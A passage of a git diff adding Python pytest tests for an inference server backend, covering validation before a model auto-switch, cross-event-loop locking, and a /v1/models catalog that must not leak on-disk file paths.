+        monkeypatch,
+        enabled = True,
+        resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    payload = _responses_payload(tools = [{"type": "function", "parameters": {}}])
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_responses(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+    assert rec.calls == []  # rejected before the model load
+
+
+def test_responses_valid_and_builtin_tools_pass_validation(monkeypatch):
+    # A well-formed function tool and a built-in (non-function) tool must pass the
+    # pre-switch check. Stub the hook so the test stops right after validation.
+    class _Reached(Exception):
+        pass
+
+    async def _boom(*a, **k):
+        raise _Reached()
+
+    monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom)
+    payload = _responses_payload(
+        tools = [{"type": "function", "name": "ok", "parameters": {}}, {"type": "web_search"}]
+    )
+    with pytest.raises(_Reached):
+        asyncio.run(inference_route.openai_responses(payload, object(), "tester"))
+
+
+def test_responses_validates_tools_before_auto_switch():
+    # Lock the order at the source: tool validation precedes the switch hook.
+    import inspect
+    src = inspect.getsource(inference_route.openai_responses)
+    assert src.index("each function tool must have a 'name'") < src.index(
+        "_maybe_auto_switch_model"
+    )
+
+
+def test_responses_forcing_tool_choice_without_name_rejected_before_switch(monkeypatch):
+    # Codex P2: a forcing-function tool_choice with no name (Responses shape
+    # {"type": "function"}) must 400 before the switch, so the streaming path can't
+    # forward a bad choice and an invalid request can't evict the model.
+    from fastapi import HTTPException
+    from models.inference import ResponsesRequest
+
+    async def _boom(*a, **k):
+        raise AssertionError("must not switch on an invalid tool_choice")
+
+    monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom)
+    payload = ResponsesRequest(model = "org/B-GGUF", input = "hi", tool_choice = {"type": "function"})
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_responses(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+    # A named forcing choice is accepted (reaches the switch, which is mocked to raise).
+    ok = ResponsesRequest(
+        model = "org/B-GGUF", input = "hi", tool_choice = {"type": "function", "name": "f"}
+    )
+    with pytest.raises(AssertionError):
+        asyncio.run(inference_route.openai_responses(ok, object(), "tester"))
+
+
+# ── codex review (round 3): process-wide swap gate across event loops ──
+
+
+def test_swap_acquires_process_gate_before_load():
+    # Lock in the structure: the process-wide gate is acquired before the load and
+    # always released, so a cross-loop swap can't reach _load_model_impl unguarded.
+    import inspect
+
+    src = inspect.getsource(inference_route._maybe_auto_switch_model)
+    assert src.index("_acquire_swap_gate") < src.index("_load_model_impl")
+    assert "_auto_switch_process_lock.release()" in src
+
+
+# ── codex review (round 4): validate modality + tool-confirmation before switch ──
+
+
+def _chat_request(**kw):
+    from models.inference import ChatCompletionRequest, ChatMessage
+    kw.setdefault("messages", [ChatMessage(role = "user", content = "hi")])
+    return ChatCompletionRequest(**kw)
+
+
+def test_chat_confirm_without_stream_rejected_before_switch(monkeypatch):
+    # Codex P2: confirm_tool_calls=true + stream=false + local tools is an invalid
+    # shape; it must 400 before the switch hook so it can't evict the resident model.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    payload = _chat_request(
+        model = "org/B-GGUF", enable_tools = True, confirm_tool_calls = True, stream = False
+    )
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+    assert rec.calls == []
+
+
+def test_chat_confirm_with_bypass_permissions_reaches_hook(monkeypatch):
+    # bypass_permissions suppresses the confirm gate, so the pre-check must not fire;
+    # the request should reach the switch hook (stubbed here to a sentinel).
+    class _Reached(Exception):
+        pass
+
+    async def _boom(*a, **k):
+        raise _Reached()
+
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True)
+    monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom)
+    payload = _chat_request(
+        model = "org/B-GGUF",
+        enable_tools = True,
+        confirm_tool_calls = True,
+        stream = False,
+        bypass_permissions = True,
+    )
+    with pytest.raises(_Reached):
+        asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester"))
+
+
+def test_chat_audio_input_guards_target_before_switch(monkeypatch):
+    # Codex P2: a chat request carrying audio_base64 must guard the target before the
+    # switch -- audio rides the same companion mmproj as vision -- so a text-only
+    # target can't be loaded and evict the working audio model. Assert the handler
+    # flags require_vision so the hook's multimodal probe runs.
+    class _Reached(Exception):
+        pass
+
+    captured = {}
+
+    async def _capture(
+        model,
+        request,
+        subject,
+        *,
+        require_vision = False,
+    ):
+        captured["require_vision"] = require_vision
+        raise _Reached()
+
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True)
+    monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _capture)
+    payload = _chat_request(model = "org/B-GGUF", audio_base64 = "AAAA")
+    with pytest.raises(_Reached):
+        asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester"))
+    assert captured["require_vision"] is True
+
+
+def test_completions_rejects_object_prompt_before_switch(monkeypatch):
+    # Codex P2: an object prompt like {"prompt": {}} is a deterministic client error
+    # (only a string or array is valid). It must 400 before the switch so a bad shape
+    # can't load the named GGUF only to be rejected by llama-server after eviction.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(
+            inference_route.openai_completions(
+                _json_body_request({"model": "org/B-GGUF", "prompt": {}}), "tester"
+            )
+        )
+    assert exc.value.status_code == 400
+    assert rec.calls == []  # no switch before rejection
+
+
+def test_embeddings_rejects_object_input_before_switch(monkeypatch):
+    # Codex P2: an object input like {"input": {}} is a deterministic client error
+    # (only a string or array is valid); reject before the switch, like completions.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(
+            inference_route.openai_embeddings(
+                _json_body_request({"model": "org/B-GGUF", "input": {}}), "tester"
+            )
+        )
+    assert exc.value.status_code == 400
+    assert rec.calls == []
+
+
+def test_chat_oversized_audio_rejected_before_switch(monkeypatch):
+    # Codex P2: the audio size cap is a cheap, target-independent length check, so an
+    # oversized upload must 413 before the switch rather than loading a GGUF first.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    big = "A" * (inference_route._MAX_AUDIO_B64_CHARS + 1)
+    payload = _chat_request(model = "org/B-GGUF", audio_base64 = big)
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester"))
+    assert exc.value.status_code == 413
+    assert rec.calls == []
+
+
+def test_chat_confirm_without_stream_mcp_rejected_before_switch(monkeypatch):
+    # Codex P2: mcp_enabled opens the local tool loop on its own, so confirm+no-stream
+    # +mcp is the same invalid shape as confirm+no-stream+tools and must 400 before
+    # the switch. The old guard only checked explicit tool fields and missed it.
+    import state.tool_policy as _tp
+    from fastapi import HTTPException
+
+    monkeypatch.setattr(_tp, "get_tool_policy", lambda: None)  # no CLI --disable-tools
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    payload = _chat_request(
+        model = "org/B-GGUF", mcp_enabled = True, confirm_tool_calls = True, stream = False
+    )
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+    assert rec.calls == []
+
+
+def test_require_vision_rejects_text_target_before_switch(monkeypatch):
+    # Codex P2: an image request naming a different text-only GGUF must 400 before
+    # the swap, so the resident vision model is not evicted for a rejected request.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/local/B.gguf", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(inference_route, "_target_is_vision", lambda _p: False)
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(
+            inference_route._maybe_auto_switch_model(
+                "org/B-GGUF", object(), "t", require_vision = True
+            )
+        )
+    assert exc.value.status_code == 400
+    assert rec.calls == []  # rejected before the load
+
+
+def test_require_vision_allows_vision_target(monkeypatch):
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/local/B.gguf", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(inference_route, "_target_is_vision", lambda _p: True)
+    asyncio.run(
+        inference_route._maybe_auto_switch_model("org/B-GGUF", object(), "t", require_vision = True)
+    )
+    assert len(rec.calls) == 1  # vision target still switches
+
+
+def test_require_vision_ignores_reload_stash(monkeypatch):
+    # The reload-stash path restores the model the request was already using; the
+    # modality check applies only to an explicit resolver target, not a restore.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec)
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600)
+    monkeypatch.setattr(kw, "_inflight", 0)
+    monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF"))
+    monkeypatch.setattr(
+        inference_route, "_target_is_vision", lambda _p: False
+    )  # would reject if used
+    asyncio.run(
+        inference_route._maybe_auto_switch_model("org/B-GGUF", object(), "t", require_vision = True)
+    )
+    assert len(rec.calls) == 1
+    assert rec.calls[0].model_path == "/cache/snap/A"  # restored despite require_vision
+
+
+def test_chat_validates_confirm_and_modality_before_switch():
+    # Lock the order at the source: confirm-shape rejection precedes the hook, and
+    # the hook rejects a non-vision target before the load.
+    import inspect
+
+    src = inspect.getsource(inference_route.openai_chat_completions)
+    assert src.index("confirm_tool_calls requires stream=true") < src.index(
+        "_maybe_auto_switch_model"
+    )
+    assert "require_vision" in src
+    hook = inspect.getsource(inference_route._maybe_auto_switch_model)
+    assert hook.index("require_vision") < hook.index("_load_model_impl")
+    assert "does not support the image or audio input" in hook
+
+
+def test_messages_have_image_helper():
+    from models.inference import ChatMessage, ImageContentPart, ImageUrl, TextContentPart
+
+    f = inference_route._messages_have_image
+    text_only = [
+        ChatMessage(role = "user", content = "hi"),
+        ChatMessage(role = "user", content = [TextContentPart(type = "text", text = "hi")]),
+    ]
+    assert f(text_only) is False
+    img = ImageContentPart(type = "image_url", image_url = ImageUrl(url = "data:image/png;base64,AAAA"))
+    assert f([ChatMessage(role = "user", content = [img])]) is True
+
+
+def test_anthropic_request_has_image_helper():
+    from types import SimpleNamespace
+
+    f = inference_route._anthropic_request_has_image
+    text = SimpleNamespace(messages = [SimpleNamespace(content = "hi")])
+    assert f(text) is False
+    text_block = SimpleNamespace(
+        messages = [SimpleNamespace(content = [{"type": "text", "text": "hi"}])]
+    )
+    assert f(text_block) is False
+    dict_img = SimpleNamespace(messages = [SimpleNamespace(content = [{"type": "image"}])])
+    assert f(dict_img) is True
+    typed_img = SimpleNamespace(messages = [SimpleNamespace(content = [SimpleNamespace(type = "image")])])
+    assert f(typed_img) is True
+
+
+def test_responses_and_anthropic_wire_require_vision_from_images():
+    # P2: the modality guard must fire on /v1/responses and /v1/messages too, so an
+    # image request can't evict a vision model for a text-only target. Lock the wiring
+    # at the source: each hook derives require_vision from the request's images.
+    import inspect
+
+    responses_src = inspect.getsource(inference_route.openai_responses)
+    assert "require_vision = _messages_have_image(" in responses_src
+    anthropic_src = inspect.getsource(inference_route.anthropic_messages)
+    assert "require_vision = _anthropic_request_has_image(" in anthropic_src
+    # /messages/count_tokens shares the /messages translation, so it needs the same
+    # guard: an image count must not evict a vision model for a text-only target.
+    count_src = inspect.getsource(inference_route.anthropic_count_tokens)
+    assert "require_vision = _anthropic_request_has_image(" in count_src
+
+
+# ── codex review (round 5): count_tokens tools, tool_choice, process-wide gate ──
+
+
+def test_count_tokens_rejects_malformed_tool_before_switch(monkeypatch):
+    # Codex P2: /v1/messages/count_tokens must reject a malformed tool before the
+    # switch, like /messages, so a count request can't evict the loaded model.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    payload = _anthropic_payload_with_tools([{"name": "broken"}])  # no input_schema/type
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.anthropic_count_tokens(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+    assert rec.calls == []
+
+
+def test_count_tokens_forwards_vision_guard_to_switch(monkeypatch):
+    # Codex P2: an image /v1/messages/count_tokens naming a text-only GGUF must
+    # carry the same require_vision guard as /messages, so it can't evict a loaded
+    # vision model for a swap that can't serve the request.
+    class _Reached(Exception):
+        pass
+
+    captured = {}
+
+    async def _capture(
+        model,
+        request,
+        subject,
+        *,
+        require_vision = False,
+    ):
+        captured["require_vision"] = require_vision
+        raise _Reached()
+
+    monkeypatch.setattr(inference_route, "_anthropic_request_has_image", lambda p: True)
+    monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _capture)
+    payload = _anthropic_payload_with_tools(None)  # no tools -> tool validation passes
+    with pytest.raises(_Reached):
+        asyncio.run(inference_route.anthropic_count_tokens(payload, object(), "tester"))
+    assert captured["require_vision"] is True
+
+
+def test_audio_generate_is_reload_only(monkeypatch):
+    # Codex P2: /audio/generate must not switch to a client-named GGUF. A local
+    # GGUF's audio-input capability is not a cheap pre-load probe (the mmproj signal
+    # can't tell an audio projector from a vision one), so resolving the client model
+    # could evict the working audio model for a target that then fails the audio
+    # check. Only the idle-stash restore runs: the hook gets the reload-only sentinel.
+    from models.inference import ChatCompletionRequest
+
+    class _Reached(Exception):
+        pass
+
+    captured = {}
+
+    async def _capture(
+        model,
+        request,
+        subject,
+        *,
+        require_vision = False,
+    ):
+        captured["model"] = model
+        raise _Reached()
+
+    monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _capture)
+    payload = ChatCompletionRequest(
+        model = "org/B-GGUF", messages = [{"role": "user", "content": "say hi"}]
+    )
+    with pytest.raises(_Reached):
+        asyncio.run(inference_route.generate_audio(payload, object(), "tester"))
+    assert captured["model"] == inference_route._RELOAD_ONLY_MODEL
+
+
+def test_note_model_unloaded_clears_reload_stash(monkeypatch):
+    # Codex P2: a deliberate unload must drop the idle reload stash so the next /v1
+    # request can't resurrect the just-unloaded model. (The idle loop unloads via the
+    # backend directly, so clearing on the route never fights keep-warm.)
+    import core.inference.llama_keepwarm as kw
+
+    kw._set_last_unloaded(("org/A-GGUF", "Q4_K_M"))
+    assert kw.get_last_unloaded_model() == ("org/A-GGUF", "Q4_K_M")
+    kw.note_model_unloaded()
+    assert kw.get_last_unloaded_model() is None
+
+
+def test_unload_route_clears_reload_stash(monkeypatch):
+    # The /unload route must clear the stash on both the GGUF and non-GGUF branches.
+    import inspect
+    src = inspect.getsource(inference_route.unload_model)
+    assert src.count("note_model_unloaded()") >= 2
+
+
+def test_non_gguf_load_clears_reload_stash():
+    # A non-GGUF (Transformers/Unsloth) load must clear the stash like the GGUF
+    # branch, so it never lingers until the idle poll (or forever, idle-unload off).
+    import inspect
+    src = inspect.getsource(inference_route._load_model_impl)
+    assert src.count("note_model_loaded()") >= 2
+
+
+def test_chat_rejects_malformed_tool_choice_before_switch(monkeypatch):
+    # Codex P2: a forcing object with no function name must 400 before the switch.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    payload = _chat_request(model = "org/B-GGUF", tool_choice = {"type": "function", "function": {}})
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+    assert rec.calls == []
+
+
+def test_chat_valid_tool_choice_reaches_hook(monkeypatch):
+    # A well-formed forcing object must pass the pre-check and reach the hook.
+    class _Reached(Exception):
+        pass
+
+    async def _boom(*a, **k):
+        raise _Reached()
+
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True)
+    monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom)
+    payload = _chat_request(
+        model = "org/B-GGUF", tool_choice = {"type": "function", "function": {"name": "ok"}}
+    )
+    with pytest.raises(_Reached):
+        asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester"))
+
+
+def test_lifecycle_gate_serializes_across_loops():
+    # Codex P2: the lifecycle gate must be process-wide so a swap on one loop blocks
+    # inference starting on another. Two loops must never hold the gate at once.
+    import threading
+    from core.inference import llama_keepwarm as kw
+
+    state = {"cur": 0, "max": 0}
+    slock = threading.Lock()
+
+    async def _use():
+        async with kw._unload_gate():
+            with slock:
+                state["cur"] += 1
+                state["max"] = max(state["max"], state["cur"])
+            await asyncio.sleep(0.05)
+            with slock:
+                state["cur"] -= 1
+
+    barrier = threading.Barrier(2)
+
+    def _run():
+        barrier.wait()
+        asyncio.run(_use())
+
+    threads = [threading.Thread(target = _run) for _ in range(2)]
+    for t in threads:
+        t.start()
+    for t in threads:
+        t.join()
+    assert state["max"] == 1  # never held on two loops at once
+
+
+def test_auto_switch_serializes_across_event_loops(monkeypatch):
+    # Codex P2: the per-loop asyncio lock can't serialize two swaps on different
+    # event loops in one process. The process-wide gate must, so the two slow loads
+    # never overlap on the single model slot.
+    import threading
+
+    backend = _FakeBackend("org/A-GGUF")
+    state = {"cur": 0, "max": 0}
+    loaded: list = []
+    slock = threading.Lock()
+
+    async def _slow_load(
+        request,
+        fastapi_request,
+        current_subject = None,
+    ):
+        with slock:
+            state["cur"] += 1
+            state["max"] = max(state["max"], state["cur"])
+        await asyncio.sleep(0.1)  # widen the window so an unguarded race would overlap
+        with slock:
+            state["cur"] -= 1
+            loaded.append(request.model_path)
+        backend.model_identifier = request.model_path
+        backend.is_loaded = True
+        backend._openai_advertised_id = None
+
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True)
+    monkeypatch.setattr(resolver, "resolve_local_gguf", lambda m: (m, "Q8_0", m))
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+    monkeypatch.setattr(inference_route, "_load_model_impl", _slow_load)
+    monkeypatch.setattr(inference_route, "_auto_switch_waiters", {})
+    monkeypatch.setattr(inference_route, "_auto_switch_request_waiters", {})
+
+    barrier = threading.Barrier(2)
+
+    def _run(model):
+        barrier.wait()  # release both threads together so they truly race
+        asyncio.run(inference_route._maybe_auto_switch_model(model, object(), "t"))
+
+    threads = [
+        threading.Thread(target = _run, args = ("org/B-GGUF",)),
+        threading.Thread(target = _run, args = ("org/C-GGUF",)),
+    ]
+    for t in threads:
+        t.start()
+    for t in threads:
+        t.join()
+
+    assert state["max"] == 1  # the gate serialized the two cross-loop swaps
+    assert sorted(loaded) == ["org/B-GGUF", "org/C-GGUF"]  # both still swapped
+
+
+def test_acquire_swap_gate_is_cancellation_safe():
+    # A waiter cancelled while waiting for the gate (client disconnect mid-swap)
+    # must not leak it: after the holder releases, a fresh acquire still succeeds.
+    # The to_thread(acquire) approach would leak here -- its worker thread keeps
+    # acquiring after cancel, so the gate is taken but never released.
+    async def main():
+        await inference_route._acquire_swap_gate()  # this loop holds the gate
+        try:
+
+            async def waiter():
+                await inference_route._acquire_swap_gate()
+
+            t = asyncio.create_task(waiter())
+            await asyncio.sleep(0.05)  # let it spin waiting on the held gate
+            t.cancel()
+            with pytest.raises(asyncio.CancelledError):
+                await t
+        finally:
+            inference_route._auto_switch_process_lock.release()
+        # Gate is free again (the cancelled waiter never acquired it).
+        await asyncio.wait_for(inference_route._acquire_swap_gate(), timeout = 1)
+        inference_route._auto_switch_process_lock.release()
+
+    asyncio.run(asyncio.wait_for(main(), timeout = 5))
diff --git a/studio/backend/tests/test_openai_catalog.py b/studio/backend/tests/test_openai_catalog.py
new file mode 100644
index 0000000000..552f122ebb
--- /dev/null
+++ b/studio/backend/tests/test_openai_catalog.py
@@ -0,0 +1,207 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""GET /v1/models lists the full server catalog (loaded + locally available)."""
+
+import asyncio
+import json
+import sys
+from pathlib import Path
+
+_BACKEND = Path(__file__).resolve().parents[1]
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+import routes.inference as inf  # noqa: E402
+from core.inference import local_model_resolver as resolver  # noqa: E402
+
+
+class _Info:
+    def __init__(
+        self,
+        id,
+        display_name,
+        model_id = None,
+        is_gguf = True,
+    ):
+        self.id = id
+        self.display_name = display_name
+        self.model_id = model_id
+        self.is_gguf = is_gguf  # drives the files-based GGUF check in the test
+
+
+class _FakeLlama:
+    is_loaded = True
+    model_identifier = "/srv/models/Qwen3-Q4.gguf"
+    context_length = 4096
+    max_context_length = None
+    native_context_length = None
+
+    def __init__(self, loaded = True):
+        self.is_loaded = loaded
+
+
+class _FakeUnsloth:
+    active_model_name = None
+    models: dict = {}
+    context_length = None
+    max_seq_length = None
+
+
+def test_catalog_lists_loaded_and_available(monkeypatch):
+    monkeypatch.setattr(inf, "get_llama_cpp_backend", lambda: _FakeLlama())
+    monkeypatch.setattr(inf, "get_inference_backend", lambda: _FakeUnsloth())
+
+    async def _fake_catalog():
+        return [
+            _Info("/data/models/Qwen3-Q4.gguf", "Qwen3-Q4"),  # same as loaded -> dedup
+            _Info("/data/models/Llama-8B-Q8.gguf", "Llama-8B-Q8"),  # available, not loaded
+            # HF-cache GGUF: model_format is unset for these, so a files-based check
+            # (not model_format) must still list it.
+            _Info("models--org--Foo", "Foo", model_id = "org/Foo"),
+            # Non-GGUF (safetensors) can't be served via /v1: must NOT be advertised.
+            _Info("/data/models/Mistral-7B", "Mistral-7B", is_gguf = False),
+        ]
+
+    monkeypatch.setattr(inf, "_cached_local_catalog", _fake_catalog)
+    # GGUF-ness is read from the on-disk files; drive it off each info's flag here.
+    monkeypatch.setattr(resolver, "info_has_local_gguf", lambda info: info.is_gguf)
+
+    data = asyncio.run(inf._openai_catalog_objects())
+    ids = {m["id"]: m for m in data}
+
+    # Loaded model is present, marked loaded, and keeps context fields.
+    assert ids["Qwen3-Q4"]["loaded"] is True
+    assert ids["Qwen3-Q4"]["context_length"] == 4096
+    # Available-but-not-loaded GGUF models are listed too.
+    assert ids["Llama-8B-Q8"]["loaded"] is False
+    # The HF-cache GGUF is listed despite model_format being unset.
+    assert ids["org/Foo"]["loaded"] is False
+    # The non-GGUF model is filtered out (/v1 can never serve it).
+    assert "Mistral-7B" not in ids
+    # The loaded gguf and the on-disk copy collapse to one clean id.
+    assert [m["id"] for m in data].count("Qwen3-Q4") == 1
+    # No absolute paths or .gguf suffixes leak anywhere.
+    blob = json.dumps(data)
+    assert ".gguf" not in blob
+    assert "/srv/" not in blob
+    assert "/data/" not in blob
+
+
+def test_catalog_lock_is_per_loop():
+    # Codex P2: a module-level asyncio.Lock ties its waiters to the loop that first
+    # awaited it, so a second event loop awaiting it in a multi-loop process can
+    # hang. The catalog lock must be per-loop (distinct lock per running loop), and
+    # the old shared _CATALOG_LOCK must be gone so it can't be reintroduced.
+    async def _get():
+        return inf._catalog_lock()
+
+    a = asyncio.run(_get())
+    b = asyncio.run(_get())  # a fresh event loop
+    assert a is not b
+    assert not hasattr(inf, "_CATALOG_LOCK")
+
+
+def test_empty_and_errored_scans_are_cached(monkeypatch):
+    # Cache validity is keyed on the timestamp, not list contents, so an empty
+    # (fresh install / no local models) or errored scan is still cached for the
+    # TTL instead of rescanning the filesystem on every /v1/models poll.
+    import routes.models as models_mod
+    for outcome in ("empty", "error"):
+        calls = {"n": 0}
+
+        def _scan(_root, _outcome = outcome):
+            calls["n"] += 1
+            if _outcome == "error":
+                raise RuntimeError("scan blew up")
+            return []
+
+        monkeypatch.setattr(models_mod, "collect_local_models", _scan)
+        monkeypatch.setattr(inf, "_CATALOG_CACHE", {"at": 0.0, "models": []})
+
+        async def _run():
+            return [await inf._cached_local_catalog() for _ in range(3)]
+
+        results = asyncio.run(_run())
+        assert results == [[], [], []], outcome
+        assert calls["n"] == 1, f"{outcome} scan ran {calls['n']}x (TTL not honored)"
+
+
+def test_catalog_ttl_starts_after_scan_completes(monkeypatch):
+    # The cache timestamp must be taken AFTER the scan, not before it. A scan that
+    # outlives the TTL would otherwise leave the cache born-expired, so the next
+    # caller rescans instead of reusing the just-computed catalog.
+    import routes.models as models_mod
+
+    clock = {"t": 1000.0}
+    monkeypatch.setattr(inf.time, "monotonic", lambda: clock["t"])
+    monkeypatch.setattr(inf, "_CATALOG_CACHE", {"at": 0.0, "models": []})
+
+    calls = {"n": 0}
+
+    def _slow_scan(_root):
+        calls["n"] += 1
+        clock["t"] += inf._CATALOG_TTL_S + 10  # the scan itself outlives the TTL
+        return [_Info("/m/A.gguf", "A")]
+
+    monkeypatch.setattr(models_mod, "collect_local_models", _slow_scan)
+
+    async def _run():
+        first = await inf._cached_local_catalog()
+        second = await inf._cached_local_catalog()  # clock unchanged since scan end
+        return first, second
+
+    first, second = asyncio.run(_run())
+    assert [i.id for i in first] == ["/m/A.gguf"]
+    assert calls["n"] == 1, "TTL started before the scan -> cache born expired, rescanned"
+
+
+def test_retrieve_loaded_model_skips_catalog_scan(monkeypatch):
+    # Retrieving a loaded id must resolve from the loaded set alone, never paying
+    # for the filesystem scan that _cached_local_catalog drives.
+    monkeypatch.setattr(inf, "get_llama_cpp_backend", lambda: _FakeLlama())
+    monkeypatch.setattr(inf, "get_inference_backend", lambda: _FakeUnsloth())
+
+    async def _boom():
+        raise AssertionError("catalog scan must not run for a loaded id")
+
+    monkeypatch.setattr(inf, "_cached_local_catalog", _boom)
+
+    model = asyncio.run(inf.openai_retrieve_model("Qwen3-Q4", current_subject = "t"))
+    assert model["id"] == "Qwen3-Q4"
+    assert model["loaded"] is True
+
+
+def test_cached_local_catalog_offloads_and_caches(monkeypatch):
+    # The filesystem scan must run off the event loop (asyncio.to_thread) and be
+    # cached, so a burst of /v1/models calls does not re-scan or block.
+    calls = {"scan": 0, "threaded": 0}
+
+    def _fake_collect(_root):
+        calls["scan"] += 1
+        return [_Info("/data/models/A.gguf", "A")]
+
+    import routes.models as models_mod
+
+    monkeypatch.setattr(models_mod, "collect_local_models", _fake_collect)
+
+    real_to_thread = inf.asyncio.to_thread
+
+    async def _counting_to_thread(fn, *a, **k):
+        calls["threaded"] += 1
+        return await real_to_thread(fn, *a, **k)
+
+    monkeypatch.setattr(inf.asyncio, "to_thread", _counting_to_thread)
+    # Fresh cache for a deterministic count.
+    monkeypatch.setattr(inf, "_CATALOG_CACHE", {"at": 0.0, "models": []})
+
+    async def _run():
+        first = await inf._cached_local_catalog()
+        second = await inf._cached_local_catalog()  # within TTL -> cached
+        return first, second
+
+    first, second = asyncio.run(_run())
+    assert [i.id for i in first] == ["/data/models/A.gguf"]
+    assert second is first or [i.id for i in second] == [i.id for i in first]
+    assert calls["scan"] == 1  # cached: scanned once for two calls
+    assert calls["threaded"] == 1  # offloaded to a worker thread
diff --git a/studio/backend/tests/test_openai_models_path_leak.py b/studio/backend/tests/test_openai_models_path_leak.py
new file mode 100644
index 0000000000..a84a33f840
--- /dev/null
+++ b/studio/backend/tests/test_openai_models_path_leak.py
@@ -0,0 +1,45 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""GET /v1/models must report a clean public id, never the on-disk .gguf path."""
+
+import json
+import sys
+from pathlib import Path
+
+_BACKEND = Path(__file__).resolve().parents[1]
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+import routes.inference as inf  # noqa: E402
+
+
+class _FakeLlama:
+    is_loaded = True
+    model_identifier = "/srv/models/Qwen3-30B-A3B-Q4_K_M.gguf"
+    context_length = 4096
+    max_context_length = None
+    native_context_length = None
+
+
+class _FakeUnsloth:
+    active_model_name = None
+    models: dict = {}
+    context_length = None
+    max_seq_length = None
+
+
+def test_openai_models_returns_clean_id_without_path(monkeypatch):
+    monkeypatch.setattr(inf, "get_llama_cpp_backend", lambda: _FakeLlama())
+    monkeypatch.setattr(inf, "get_inference_backend", lambda: _FakeUnsloth())
+
+    objs = inf._openai_model_objects()
+
+    assert len(objs) == 1
+    assert objs[0]["id"] == "Qwen3-30B-A3B-Q4_K_M"
